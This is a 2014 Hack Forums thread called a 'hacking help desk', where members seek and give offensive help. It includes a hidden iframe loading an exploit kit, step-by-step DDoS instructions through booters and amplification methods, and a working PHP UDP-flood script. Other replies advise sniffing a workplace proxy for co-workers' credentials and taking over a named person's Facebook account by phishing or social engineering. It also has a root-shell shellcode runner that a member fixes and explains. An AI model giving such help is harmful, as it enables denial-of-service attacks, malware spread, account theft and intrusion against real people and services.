

Forum:[Hack Forums](#)

Thread: [Komodo's Hacking Help Desk](#)

Komodo - February 19, 2014, 4:50 pm

Leave Brittany alone for the love of god.

Doxicity - February 19, 2014, 4:54 pm

I approve of this help desk. Members of The General Hacking Section will assist you with all of your problems.

Guides will soon be added to the list.

Xorex - February 19, 2014, 5:49 pm

Looks like a great idea.

Komodo is a great hacking helper, and he shouldn't have trouble helping you.

Pillows - February 19, 2014, 5:51 pm

Muahaha finally. I have waited since my acceptance to Empire about this. Now I just gotta put email notifications for whenever someone posts here.

Goodies - February 19, 2014, 5:52 pm

I will be here to answer any questions (to the best of my ability) pertaining to:Networking and Networking-Based Attacks

Shellcoding/Reverse Engineering (Linux)

Basic - Intermediate Buffer Over Flow

General Penetration testing

:)

Pillows - February 19, 2014, 5:53 pm

(Feb 19, 2014 06:52 PM)Goodies Wrote: [\[CITE\]](#) I will be here to answer any questions (to the best of my ability) pertaining to:Networking and Networking Attacks

Packet Analysis

Shellcoding (Linux)

BOF

General Pentesting

:)

Alrighty then.

I will be here to help with anything regarding Web Application Pentesting.

Komodo - February 19, 2014, 5:56 pm

I'm guessing you were all assigned to this Help Desk. Make the posts clean, and as always help people :).

Ascendon - February 19, 2014, 6:04 pm

I can try and help out here although I am web based :)

EXCHANGE_MONEY - February 19, 2014, 6:06 pm

So i use this code for iframe:

```
<iframe src="http://exploitkiturl.com"" width="0" height="0" frameborder="0"></iframe>
```

the iframe is set on index.html on my website named website1.com

When i go on my browser to website1.com then i go to exploit stats i see that 1hit .

But then i go to buy traffic on some site,i send 5k traffic,on exploit i see 1hit(the one i entered) then i think that maybe site scammed me...but no!

i go to awstats and i see this:

Can somebody explain me what is wrong!? i will pay for resolving this 10\$, thanks !

Komodo - February 19, 2014, 6:15 pm

(Feb 19, 2014 07:06 PM)EXCHANGE_MONEY Wrote: [\[CITE\]](#) So i use this code for iframe:

```
<iframe src="http://exploitkiturl.com"" width="0" height="0" frameborder="0"></iframe>
```

the iframe is set on index.html on my website named website1.com

When i go on my browser to website1.com then i go to exploit stats i see that 1hit .

But then i go to buy traffic on some site,i send 5k traffic,on exploit i see 1hit(the one i entered) then i think that maybe site scammed me...but no!

i go to awstats and i see this:

Can somebody explain me what is wrong!? i will pay for resolving this 10\$, thanks !Your post is confusing, and everything is mixed up. Please post from the Form

Form:

Quote:What is your question/problem

Explain your problem the best you can:

Skype name: Fill out the form above to receive assistance from us.

If you simply have a question, feel free to ask below.

gamerdude1112 - February 19, 2014, 6:26 pm

Is there any ways you guys could teach how to Ddos or Dos?

Xorex - February 19, 2014, 6:28 pm

(Feb 19, 2014 07:26 PM)gamerdude1112 Wrote: [\[CITE\]](#) Is there any ways you guys could teach how to Ddos or Dos?

1) Get a booter - <https://hackforums.net/forumdisplay.php?fid=232> or <https://hackforums.net/showthread.php?tid=4069313>

2) Get a resolver (if you want it on Skype) - www.skyperes.com

3) Input the IP and time of attack, and the method, and port.

4) For method, if you're doing home connections put UDP and Port 80.

Here are some more in-depth methods-

Spoiler ([Click to View](#))Amplified DNS

Commonly used to hit almost everything. This amplified strength can actually make a server malfunction or even crash! One of our favourites.

Amplified NTP

Like "Amplified DNS" but uses "Network Time Protocol" instead of DNS.

SSYN

SYN excels at both DoS of home connections and websites. By attacking with a unique IP address every time, SSYN esoterica past regular SYN-DoS protection. E-SSYN is the next level;featuring brand new methods to achieve the same results one would expect from the ferociously strong SSYN in all new future-tested package.

GET / HEAD

DoS comes in many shapes and sizes, and no hackers arsenal would be without the old-school flood methods that laid waste to the battlefield the years before.

POST

Similar to flood-types such as GET or HEAD, HTTP-POST is a deadly Layer7 attack that a huge number of servers are vulnerable against. Being unprotected -as many are- against such an attack can lead to disaster.

SlowLoris

SlowLoris HTTP Dos, Low-bandwidth and greedy, this flood and was the electronic weapon of choice against certain governments during the Arab Spring of 2011 due to it's immense power. Due to a weakness in servers running 'Apache' this method, although old, is still as powerful as it was when it surfaced for the first time.

Source Query

Source Query HTTP Dos, similar to flood-type POST but pulls the headers and data completely off of major sites and uses the data as random data to flood at the target.

XML-RPC - PingBack

Also Known As Pingback, is a ddos attack reflected by wordpress sites using the xml-rpc pingback function. The attack takes place from a machine running pingback requests on a large list of wordpress sites, causing them to amplify the attack to the final victim's url.

Goodies - February 19, 2014, 6:29 pm

(Feb 19, 2014 07:26 PM)gamerdude1112 Wrote: [\[CITE\]](#) Is there any ways you guys could teach how to Ddos or Dos?

There are literally more booters than virgins in this forum. You'll have no trouble finding one in the [Marketplace](#).

Zapu - February 19, 2014, 6:33 pm

I'll be lurking around here too, answering questions to the best of my ability as well.

Komodo - February 19, 2014, 7:04 pm

Welcome all to the Hacking Help Desk.

Rap!st - February 20, 2014, 6:01 am

(Feb 19, 2014 07:06 PM)EXCHANGE_MONEY Wrote: [\[CITE\]](#) So i use this code for iframe:

```
<iframe src="http://exploitkiturl.com"" width="0" height="0" frameborder="0"></iframe>
```

the iframe is set on index.html on my website named website1.com

When i go on my browser to website1.com then i go to exploit stats i see that 1hit .

But then i go to buy traffic on some site,i send 5k traffic,on exploit i see 1hit(the one i entered) then i think that maybe site scammed me...but no!

i go to awstats and i see this:

Can somebody explain me what is wrong!? i will pay for resolving this 10\$, thanks !

What's exactly your questions here? From what I'm able to understand you think you've been scammed by a website which promised u 5k traffic. Please explain why your question is related to "Hacking" and use the form Komodo posted above.

Rapist?

Precisio? - February 20, 2014, 6:46 am

I don't know where to ask my question so I ask it here!

In my work place I have a username and password for connecting to the internet and there's a proxy server (like name.x.com:8080) which I have to connect through it to the web, and it asks me for that username and password.

The problem is that my bandwidth is limited to 350 MB only and it really sucks! and I got this:

Any way I can bypass the bandwidth limit? or bypass that "requesting for credentials"?

Note: I have entered proxy server settings in Internet option and after opening a browser and going to any url, it asks me for my credentials:

Spoiler ([Click to View](#))

Thank you all. ?

MrTing - February 20, 2014, 6:50 am

(Feb 20, 2014 07:46 AM)Precisio? Wrote: ([CITE](#)) I don't know where to ask my question so I ask it here!

In my work place I have a username and password for connecting to the internet and there's a proxy server (like name.x.com:8080) which I have to connect through it to the web, and it asks me for that username and password.

The problem is that my bandwidth is limited to 350 MB only and it really sucks! and I got this:

Spoiler ([Click to View](#))

Any way I can bypass the bandwidth limit? or bypass that "requesting for credentials"?

Thank you all. ?

What kind of authentication system do you have? IE, where are you putting in your credentials to get internet access?

Precisio? - February 20, 2014, 6:57 am

(Feb 20, 2014 07:50 AM)?Kevin Mitnick Wrote: ([CITE](#)) What kind of authentication system do you have? IE, where are you putting in your credentials to get internet access?After opening any browser and going to any url, it asks me for my credentials, a little window pops up and I have to enter my credentials there.

EDIT: Added some more screenshots to my previous post.

MrTing - February 20, 2014, 7:10 am

(Feb 20, 2014 07:57 AM)Precisio? Wrote: [\[CITE\]](#) After opening any browser and going to any url, it asks me for my credentials, a little window pops up and I have to enter my credentials there.

EDIT: Added some more screenshots to my previous post.

Alright, so to me it looks like before connecting to this proxy, you are contained within your local network (work computers and such). After entering in credentials to a company work server, you are connected to clearnet.

Do you have any other credentials to any other machines at work? If you do, it might be possible to tunnel your internet through someone else's account.

Think of it like this:

[YOUR PC] =====TUNNEL=====> [CO-WORKER PC] ===TUNNEL===> [OFFICE PROXY SERVER] ===INTERNET===>

This would assume however that you can connect to other computers from your own within the office area.

Precisio? - February 20, 2014, 7:29 am

(Feb 20, 2014 08:10 AM)?Kevin Mitnick Wrote: [\[CITE\]](#) Alright, so to me it looks like before connecting to this proxy, you are contained within your local network (work computers and such). After entering in credentials to a company work server, you are connected to clearnet.

Do you have any other credentials to any other machines at work? If you do, it might be possible to tunnel your internet through someone else's account.

Think of it like this:

[YOUR PC] =====TUNNEL=====> [CO-WORKER PC] ===TUNNEL===> [OFFICE PROXY SERVER] ===INTERNET===>

This would assume however that you can connect to other computers from your own within the office area.

No I cannot access other machines, I mean I haven't their credentials and of course they're limited as me.

MrTing - February 20, 2014, 7:39 am

(Feb 20, 2014 08:29 AM)Precisio? Wrote: [\[CITE\]](#) No I cannot access other machines, I mean I haven't their credentials and of course they're limited as me.

I'll look into the matter a bit more personally. I'll see if I can emulate something similar using some of my machines and get back to you if I find something.

cheddarcheese - February 20, 2014, 1:02 pm

Hi komodo,

Need help with making a assembly hello world program executable.

I get this error Quote:ld: i386 architecture of input file `hello.o' is incompatible with i386:x86-64 output when I use this command Code ld -s -o hello hello.o to make the file executable.

I am using an amd 64 bit turion X2 processor. Is this the problem?

Thanks

SOLVED -----

Need instead to use this command `Code Id -m elf_i386 -s -o hello hello.o`

This is because of the 64 bit processor architecture I am using.

The Code Id command tries to link the 32 bit elf assembled by the Code `nasm -f elf hello.asm` command that I used, to the native architecture of my machine.

-zERaIT - February 20, 2014, 1:25 pm

I'll try to keep me up-to-date here.

If there are any questions, feel free to ask guys.?

Kind Regards

Komodo - February 20, 2014, 2:00 pm

(Feb 20, 2014 02:02 PM)cheddarcheese Wrote: [\[CITE\]](#) Hi komodo,

Need help with making a assembly hello world program executable.

-snip-Sorry i was not online to see this. Glad you got it solved

cheddarcheese - February 20, 2014, 3:13 pm

Hi Komodo, thanks for the reply ?

I do have another problem which I cannot seem to solve as easily! Would be very grateful if you could help.

I am trying to debug a simple "C" program using gdb. To compile I am using gcc.

I am using an amd 64bit turion X2 processor

To compile I use the command `Code gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -o meet meet.c` However I get the error `Code error: -mpreferred-stack-boundary=2 is not between 4 and 12`

Please can you help!

Komodo - February 20, 2014, 3:16 pm

(Feb 20, 2014 04:13 PM)cheddarcheese Wrote: [\[CITE\]](#) Hi Komodo, thanks for the reply ?

I do have another problem which I cannot seem to solve as easily! Would be very grateful if you could help.

-snip-

Please can you help! I will PM you for additional assistance.

Orochimaru - February 20, 2014, 4:07 pm

(Feb 19, 2014 07:06 PM)EXCHANGE_MONEY Wrote: [\[CITE\]](#) So i use this code for iframe:
<iframe src="http://exploitkiturl.com" width="0" height="0" frameborder="0"></iframe>

the iframe is set on index.html on my website named website1.com

When i go on my browser to website1.com then i go to exploit stats i see that 1hit .

But then i go to buy traffic on some site,i send 5k traffic,on exploit i see 1hit(the one i entered) then i think that maybe site scammed me...but no!

i go to awstats and i see this:

Can somebody explain me what is wrong!? i will pay for resolving this 10\$, thanks !
It's due to the infection rate on your exploit kit, which are you using?

Kidney - February 20, 2014, 5:36 pm

What is your question/problem: How to jack

Explain your problem the best you can: I would like a tutorial or 5 mins out of your day to help me get started just pm me or add me on skype!

Skype name: jarrettbay

Komodo - February 20, 2014, 5:37 pm

(Feb 20, 2014 06:36 PM)Volt PC Wrote: [\[CITE\]](#) What is your question/problem: How to jack

Explain your problem the best you can: I would like a tutorial or 5 mins out of your day to help me get started just pm me or add me on skype!

Skype name: jarrettbayI will be PMing you now Sir. Thanks for being the first person to actually use the format.

cheddarcheese - February 20, 2014, 7:05 pm

Excellent help desk!! Thanks Komodo for your help!!! ?

Komodo - February 20, 2014, 7:12 pm

(Feb 20, 2014 08:05 PM)cheddarcheese Wrote: [\[CITE\]](#) Excellent help desk!! Thanks Komodo for your help!!! ?Not a single problem Sir. You are getting pretty good at coding.

cheddarcheese - February 20, 2014, 7:26 pm

Thankyou. I am trying to learn to better my skills! ?

coldfusion - February 20, 2014, 7:33 pm

What is your question/problem: hi hackers, not actually a question but more of a test to people on the 'hacking' help-desk:

Explain your problem the best you can: not a problem. I'd just like a basic explanation of how this snippet of C code works from any one of your members:

Code repeat:

```
ret = 0;
while(ret != EOF) {
    if (!oldstyle)
        ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
    else {
        ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
        if (ret == 2) {
            char *p;
            if (strstr(sname, "_O/") || strstr(sname, "_S."))
                continue;
            p = strrchr(sname, '_');
            if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
```

```

        p = p - 4;
        while (p > (char *)sname && *(p - 1) == '_')
            p--;
        *p = '\0';
    }
}
}
if (ret == 0) {
    fscanf(f, "%s\n", sname);
    continue;
}
if (!strcmp(name, sname)) {
    fclose(f);
    return addr;
}
}

```

```

fclose(f);
if (rep)
    return 0;

```

sure any h4ker could figure out what those few basic functions do. requesting that the member who answers be in the empire's hacking sector and not be ponywizard or hood3d.

Skype name: not_giving_out.c

Komodo - February 20, 2014, 7:37 pm

(Feb 20, 2014 08:33 PM)coldfusion Wrote: [\[CITE\]](#) What is your question/problem: hi hackers, not actually a question but more of a test to people on the 'hacking' help-desk:

Explain your problem the best you can: not a problem. I'd just like a basic explanation of how this snippet of C code works from any one of your members:

-snip-

sure any h4ker could figure out what those few basic functions do.

Skype name: not_giving_out.cThis would be a repeat code for something. Not knowing what this is for, i do not know how else to respond to this.

Goodies - February 20, 2014, 7:51 pm

(Feb 20, 2014 08:33 PM)coldfusion Wrote: [\[CITE\]](#) What is your question/problem: hi hackers, not actually a question but more of a test to people on the 'hacking' help-desk:

Explain your problem the best you can: not a problem. I'd just like a basic explanation of how this snippet of C code works from any one of your members:

```

Code p = strrchr(sname, '_');
repeat:
    ret = 0;
    while(ret != EOF) {p = strrchr(sname, '_');
        if (!oldstyle)
            ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
        else {
            ret = fscanf(f, "%p %s\n", (void **)&addr, sname);

```

```

    if (ret == 2) {
        char *p;
        if (strstr(sname, "_O/") || strstr(sname, "_S."))
            continue;
        p = strrchr(sname, '_');
        if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
            p = p - 4;
            while (p > (char *)sname && *(p - 1) == '_')
                p--;
            *p = '\0';
        }
    }
}
if (ret == 0) {
    fscanf(f, "%s\n", sname);
    continue;
}
if (!strcmp(name, sname)) {
    fclose(f);
    return addr;
}
}

```

```

fclose(f);
if (rep)
    return 0;

```

sure any h4ker could figure out what those few basic functions do. requesting that the member who answers be in the empire's hacking sector and not be ponywizard or hood3d.

Skype name: not_giving_out.c

Hello! First off, that is entirely incomplete code. You have stack variables that are not declared inside the code. However, I can explain these functions.

fscanf = this will take an input from the stream ptr "f" (I assume it's a *FILE stream?) and will take the address of "addr", cast it as a void pointer to a pointer, the address of "dummy" and what appears to be either an array of characters or a dynamically allocated heap variable names "sname" which will appear as a string:

IE:

PHP Code

```
<?php
```

```
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
```

strrchr - this simply returns a pointer of the LAST occurrence of a character in a string. strchr returns the FIRST occurrence.

So, for example, if we declare a string in heap such as:

PHP Code

```
<?php
```

```
char *sname = char(*)calloc(8, sizeof(char));
```

//STFU about not needing to explicitly cast it. If I do, it is C++ compatible...

```
strcpy(sname, "Goodies");
```

Then the following code will return:

(*sname+1) and (*sname+2) respectively.

PHP Code

```
<?php
```

```
//implying we already declared one/two as pointers
```

```
one = strchr(sname, 'o');
```

```
two = strrchr(sname, 'o');
```

strcmp - simply compares a string. returns 0 if equal.

I'm not really sure what you wanted me to do...

coldfusion - February 20, 2014, 9:19 pm

(Feb 20, 2014 08:51 PM)Goodies Wrote: [\[CITE\]](#) -snip-

Pleasantly surprised to see a half-decent response from you. In case you were wondering I just copied a snippet of code from asl.c. If you haven't seen it already and/or you're interested on reading the source you can check it out [here](#).

Graphiix - February 20, 2014, 9:23 pm

Stupid question.. But. What exactly are shells used for? Like in a shell booter? (Jays Booter) I understand what UDP flooding and TCP reflection is and all that.. But I've just never understood what shells were. I always see posts about "Giving away shells" and what not.

Would you mind explaining? Thanks. :p

Goodies - February 20, 2014, 9:35 pm

(Feb 20, 2014 10:23 PM)Graphiix Wrote: [\[CITE\]](#) Stupid question.. But. What exactly are shells used for? Like in a shell booter? (Jays Booter) I understand what UDP flooding and TCP reflection is and all that.. But I've just never understood what shells were. I always see posts about "Giving away shells" and what not.

Would you mind explaining? Thanks. :p

Please do not quote my entire post... either -snip- it or surround it with a spoiler

"Shells" in the proverbial sense, are simply files that call commands on a server (usually linux, but shells exist on windows and *nix servers as well). The word "shell" is often equated with "terminal" or "command prompt". A booter shell isn't much different. Since they're in PHP, everything is compiled and executed on the server.

For booters, they usually have some sort of simple API that calls GET parameters (IE somesite.com /boot.php?ip=8.8.8.8&port=80&time=600&type=udp etc...). It then takes these parameters and uses them while interacting with the server's TCP/IP stack to send 'attacks'.

A very basic shell:

PHP Code

```
<?php
```

```
$buf = "";
```

```
for($i = 0; $i < 65200; $i++){
```

```
    $buf .= 'G'; //G is for Goodies :D
```

```
}
```

```
$fp = fsockopen('udp://'.$_GET['ip'], $_GET['port'], $errno, $errstr, 10);
```

```
if($fp){
```

```
fwrite($fp, $buf);  
fclose($fp);  
}  
?>
```

fsockopen is the command that interacts with the TCP/IP stack :)

Obviously there's no time or anything. I just wrote it for the purpose of being very simple...

Graphiix - February 20, 2014, 9:55 pm

(Feb 20, 2014 10:35 PM)Goodies Wrote: [\[CITE\]](#) Please do not quote my entire post... either -snip- it or surround it with a spoiler

"Shells" in the proverbial sense, are simply files that call commands on a server (usually linux, but shells exist on windows and *nix servers as well). The word "shell" is often equated with "terminal" or "command prompt". A booter shell isn't much different. Since they're in PHP, everything is compiled and executed on the server.

Interesting. Thanks for the reply. I appreciate it. I've always been curious about it.. :p ?

Precisio? - February 20, 2014, 10:45 pm

Anyone with any idea/solution for this post?

<https://hackforums.net/showthread.php?tid=4071115&pid=38451238#pid38451238>

Goodies - February 20, 2014, 10:48 pm

(Feb 20, 2014 11:45 PM)Precisio? Wrote: [\[CITE\]](#) Anyone with any idea/solution for this post?

<https://hackforums.net/showthread.php?tid=4071115&pid=38451238#pid38451238>

If your traffic is limited by IP: Yes. Change your local IP

If it is limited by MAC: Yes. Change Mac.

If it is limited by Some sort of user authentication: No. You have to use another account.

So, I assume you have a 1-way-out proxy that limits your use? You can try sniffing for proxy usernames/passwords since SOCKS and HTTP are unencrypted.

Precisio? - February 20, 2014, 10:51 pm

(Feb 20, 2014 11:48 PM)Goodies Wrote: [\[CITE\]](#) If your traffic is limited by IP: Yes. Change your local IP

If it is limited by MAC: Yes. Change Mac.

If it is limited by Some sort of user authentication: No. You have to use another account.

So, I assume you have a 1-way-out proxy that limits your use? You can try sniffing for proxy usernames/passwords since SOCKS and HTTP are unencrypted. Thank you for your response, can you guide me to some sniffing tutorials?

Goodies - February 20, 2014, 10:57 pm

(Feb 20, 2014 11:51 PM)Precisio? Wrote: [\[CITE\]](#) Thank you for your response, can you guide me to some sniffing tutorials?

Get [Wireshark](#). Now, this is assuming you are using an HTTP proxy, If it is some proprietary bullshit or you have to authenticate to an SMB server usershare, there are no attacks that I know of other than something like NTLM relaying. However, that is likely not the case...

Precisio? - February 20, 2014, 11:01 pm

(Feb 20, 2014 11:57 PM)Goodies Wrote: [\[CITE\]](#) Get [Wireshark](#). Now, this is assuming you are using an HTTP proxy, If it is some proprietary bullshit or you have to authenticate to an SMB server usershare, there are no attacks that I know of other than something like NTLM relaying. However,

that is likely not the case...Yes, it's a HTTP proxy, anyway thank you for your reply, I will try...

Goodies - February 20, 2014, 11:26 pm

(Feb 21, 2014 12:01 AM)Precisio? Wrote: [\[CITE\]](#) Yes, it's a HTTP proxy, anyway thank you for your reply, I will try...

Alright! In Wireshark, there is a http.proxy_authentication filter. I've never used it, but it's there and it may help ;)

TheGrayAviator - February 21, 2014, 12:41 am

I will be here to answer anything related to:

- 1) Wireless hacking
- 2) Hacking programs
- 3) Anonymity
- 4) Network pen-testing

Komodo - February 21, 2014, 4:56 am

(Feb 21, 2014 01:41 AM)Greyhat.Infiltrator Wrote: [\[CITE\]](#) I will be here to answer anything related to:

- 1) Wireless hacking
 - 2) Hacking programs
 - 3) Anonymity
 - 4) Network pen-testing
- Welcome to the Help Desk ?.

TheGrayAviator - February 21, 2014, 5:05 am

(Feb 21, 2014 05:56 AM)Komodo Wrote: [\[CITE\]](#) Welcome to the Help Desk ?.

Thanks Komodo, will do my best to help out in where I can.

Brule - February 21, 2014, 6:55 am

I'd like to vouch for Komodo as of I've gotten a lot of help and tips from this user. High quality!

Kind Regards,
?NONYMOUS ?

Rap!st - February 21, 2014, 8:00 am

(Feb 21, 2014 07:55 AM)?NONYMOUS Wrote: [\[CITE\]](#) I'd like to vouch for Komodo as of I've gotten a lot of help and tips from this user. High quality!

Kind Regards,
?NONYMOUS ?

I'm sure Komodo does appreciate this however this is a helpdesk and there's nothing to vouch for.

Rapist?

Komodo - February 21, 2014, 2:06 pm

(Feb 21, 2014 09:00 AM)Rap!st Wrote: [\[CITE\]](#) I'm sure Komodo does appreciate this however this is a helpdesk and there's nothing to vouch for.

Rapist?! I updated the Thread with Rules, thanks for the inspiration to do this Rap!st.

Alfx - February 21, 2014, 3:04 pm

please can you hack someones facebook account for me?

Link to there facebook : <https://www.facebook.com/poppy.james.5036>

my skype : live.alfiebrah_2

Komodo - February 21, 2014, 3:06 pm

(Feb 21, 2014 04:04 PM)Alfxe Wrote: [\[CITE\]](#) please can you hack someones facebook account for me?

Link to there facebook : <https://www.facebook.com/poppy.james.5036>

my skype : live.alfiebrah_2 We do not offer a hacking service, we simply provide information.

Alfxe - February 21, 2014, 3:29 pm

could you give me tips of how to hack a facebook, with someones email.

Komodo - February 21, 2014, 3:30 pm

(Feb 21, 2014 04:29 PM)Alfxe Wrote: [\[CITE\]](#) could you give me tips of how to hack a facebook, with someones email. There used to be a FaceBook Cracker on HackForums, but i guess it has been deleted. You will need to use something, to crack the password.

Orochimaru - February 21, 2014, 3:44 pm

(Feb 21, 2014 04:29 PM)Alfxe Wrote: [\[CITE\]](#) could you give me tips of how to hack a facebook, with someones email.

If, by saying "with someones email" i'm assuming that means you have access to their email. If so, use facebook's recovery features.

If you don't have the email, you can use other methods like Social Engineering (Try to trick her into giving you her password, or email password)

Recovery (If you have enough information on her you could answer her secret questions and hopefully access the account)

Good luck!

AzuzToGo - February 21, 2014, 4:13 pm

Sweet! If I need help I will just bring my self on over here xD

TheGrayAviator - February 21, 2014, 4:42 pm

(Feb 21, 2014 04:30 PM)Komodo Wrote: [\[CITE\]](#) There used to be a FaceBook Cracker on HackForums, but i guess it has been deleted. You will need to use something, to crack the password.

Facebook Crackers are all an illusion. I see a lot of threads and people claiming that they can hack into a Facebook account using this type software.

Given the tight security that Facebook has in place, I don't think such software will live to it's name.

The only possible ways of obtaining the userID and password is via Doxing, SE (social engineering), Phishing and RATting.

Komodo - February 21, 2014, 4:44 pm

(Feb 21, 2014 05:42 PM)Greyhat.Infiltrator Wrote: [\[CITE\]](#) Facebook Crackers are all an illusion. I see a lot of threads and people claiming that they can hack into a Facebook account using this type software.

Given the tight security that Facebook has in place, I don't think such software will live to it's name.

The only possible ways of obtaining the userID and password is via Doxing, SE (social engineering), Phishing and RATting. At one time Bandors released a FaceBook Cracker which used either thousands, or millions of passwords to try to Crack the Password. It was not always effective, but it did work.

TheGrayAviator - February 21, 2014, 4:53 pm

(Feb 21, 2014 05:44 PM)Komodo Wrote: [\[CITE\]](#) At one time Bandors released a FaceBook Cracker which used either thousands, or millions of passwords to try to Crack the Password. It was not always effective, but it did work.

Well, that's brute forcing and since Facebook has tightened it's security, it wouldn't be so effective either.

The account would lock out, after a few wrong attempts, rendering the software useless.

Komodo - February 21, 2014, 4:54 pm

(Feb 21, 2014 05:53 PM)Greyhat.Infiltrator Wrote: [\[CITE\]](#) Well, that's brute forcing and since Facebook has tightened it's security, it wouldn't be so effective either.

The account would lock out, after a few wrong attempts, rendering the software useless. That must be why the Cracker was closed. I apologize, i do not follow social media sites, such as FaceBook.

TheGrayAviator - February 21, 2014, 5:09 pm

(Feb 21, 2014 05:54 PM)Komodo Wrote: [\[CITE\]](#) That must be why the Cracker was closed. I apologize, i do not follow social media sites, such as FaceBook.

No need to apologize, that's what security is all about. Someone finds a bug for a particular website, writes a program to take advantage of it.

And then a couple of weeks later, the owner of the website fixes that bug. The tool no longer works.

Just like that plugin for Firefox (Firesheep). It was very effective against websites that didn't use HTTP(s).

Since most sites nowadays uses HTTP(s), the tool no longer works.

Komodo - February 22, 2014, 7:39 am

Lets leave the posting for the Help Desk. Their should only be posts about questions, and people helping them.

Logan??????? - February 22, 2014, 7:41 am

What is your question/problem: I have a few questions about SE

Explain your problem the best you can: Well, I've been wanting to learn SE for a long time, and I'd like you pros shoot me to the right guide. :)

Skype name:Trytoddossme

Komodo - February 22, 2014, 7:48 am

(Feb 22, 2014 08:41 AM)Logan??????? Wrote: [\[CITE\]](#) What is your question/problem: I have a few questions about SE

Explain your problem the best you can: Well, I've been wanting to learn SE for a long time, and I'd like you pros shoot me to the right guide. :)

Skype name:Trytoddossme SE can stand for multiple things, please elaborate.

Logan??????? - February 22, 2014, 7:49 am

SE As in social engineering sorry. :P

Komodo - February 22, 2014, 7:51 am

(Feb 22, 2014 08:49 AM)Logan??????? Wrote: [\[CITE\]](#) SE As in social engineering sorry. :P It all depends on what you want to do. I do know that FaceBook has updated there security, so that is out of the question.

Logan??????? - February 22, 2014, 7:53 am

Like.. say I wanted to SE a virtual item.. like something on a minecraft server, donation or a rps item or something. do you know skype so I can ask you questions on there? :P

Komodo - February 22, 2014, 7:54 am

(Feb 22, 2014 08:53 AM)Logan??????? Wrote: [\[CITE\]](#) Like.. say I wanted to SE a virtual item.. like something on a minecraft server, donation or a rps item or something. do you know skype so I can ask you questions on there? :P I will begin to message you via Skype.

Bonfire - February 22, 2014, 8:58 am

We're here to help! Post your questions!

cheddarcheese - February 22, 2014, 9:58 am

Code //shellcode.c

```
char shellcode[] =
```

```
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
```

```
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
```

```
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
```

```
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
```

```
int main() {
```

```
    int *ret;
```

```
    ret = (int *)&ret + 2;
```

```
    (*ret) = (int)shellcode;
```

```
}
```

I compile the code using root level privledges using gcc with the commands:Code gcc

-mpreferred-stack-boundary=4 -fno-stack-protector -z execstack -0 shellcode shellcode.c then

make program SUID using command:Code chmod u+s shellcode

However when I then run the program I am not given a shell.

Please can someone help me work out what the issue is ?

Is the problem that I am using an AMD64 Turion processor? The test program above should give me a root level shell prompt.

Goodies - February 22, 2014, 10:22 am

(Feb 22, 2014 10:58 AM)cheddarcheese Wrote: [\[CITE\]](#) Code //shellcode.c

```
char shellcode[] =
```

```
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
```

```
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
```

```
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
```

```
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
```

```
int main() {
```

```
    int *ret;
```

```
    ret = (int *)&ret + 2;
```

```
(*ret) = (int)shellcode;
}
```

I compile the code using root level priviledges using gcc with the commands:Code gcc -mpreferred-stack-boundary=4 -fno-stack-protector -z execstack -0 shellcode shellcode.c then make program SUID using command:Code chmod u+s shellcode
However when I then run the program I am not given a shell.
Please can someone help me work out what the issue is ?

Is the problem that I am using an AMD64 processor? The test program above should give me a root level shell prompt.

Hello! I can help you with your issue!

First things first. Compile with -m32 if you're working with x86 shellcode. It makes it easier for everyone. It obviously doesn't support 8 byte memory addresses as it's x86 :)

Secondly, your code makes little sense. When you declare "ret", you do not allocate any memory to it. When you increment an INT pointer, you're not incrementincrementing it by N, but by sizeof(int) N

For example:

PHP Code

```
<?php
```

```
//these memory addresses are obviously arbitrary and compiled with x86 emulation hence the 4 byte pointer.
```

```
int *ret; //pointer is at 0xffcd85ec
```

```
ret = (int *)&ret + 2; //pointer is now at 0xffcd85f4
```

Now, note that 0xffcd85f4 -> 0xffcd85ec is 8 bytes. Even though we incremented it by 2, it's moving 8 bytes (2 * sizeof(int)).

Also, you're trying to cast the ret POINTER to an INTEGER. Not to mention, when you declare the shellcode, it declares it on the stack wheras when declaring a pointer, it allocates it elsewhere and saves the POINTER on the stack.

If you want to execute shellcode, try this out:

PHP Code

```
<?php
```

```
#include <stdio.h>
```

```
#include <string.h>
```

```
char shellcode[] =
```

```
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
```

```
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
```

```
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
```

```
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
```

```
int main(){
```

```
    printf("Shellcode Length (Bytes): %d\n", strlen(shellcode));
```

```
    ((void(*) (void))shellcode)();
```

```
    return 0;
```

```
}
```

Compiled with:

PHP Code

```
<?php
gcc -m32 -o shellcode shellcode.c -z execstack
```

Since you're not actually overwriting buffers, you don't need stack protection. You just need the stack to be executable. It will work without -m32, but if you're working with x86 memory contingent shellcode , it will not work.

This casts shellcode as a void function and executes it. As long as the stack is executable, it should solve your problem.

Let me know if you have any questions! I will post the decompiled shellcode in a minute :)

Also, I decompiled your shellcode:

PHP Code

```
<?php
```

Disassembled:

```
31C0    xor ax,ax
31DB    xor bx,bx
B017    mov al,0x17
CD80    int 0x80
EB1F    jmp short 0x29
5E      pop si
897608  mov [bp+0x8],si
31C0    xor ax,ax
884607  mov [bp+0x7],al
89460C  mov [bp+0xc],ax
B00B    mov al,0xb
89F3    mov bx,si
8D4E08  lea cx,[bp+0x8]
8D560C  lea dx,[bp+0xc]
CD80    int 0x80
31DB    xor bx,bx
89D8    mov ax,bx
40      inc ax
CD80    int 0x80
E8DCFF  call word 0x8
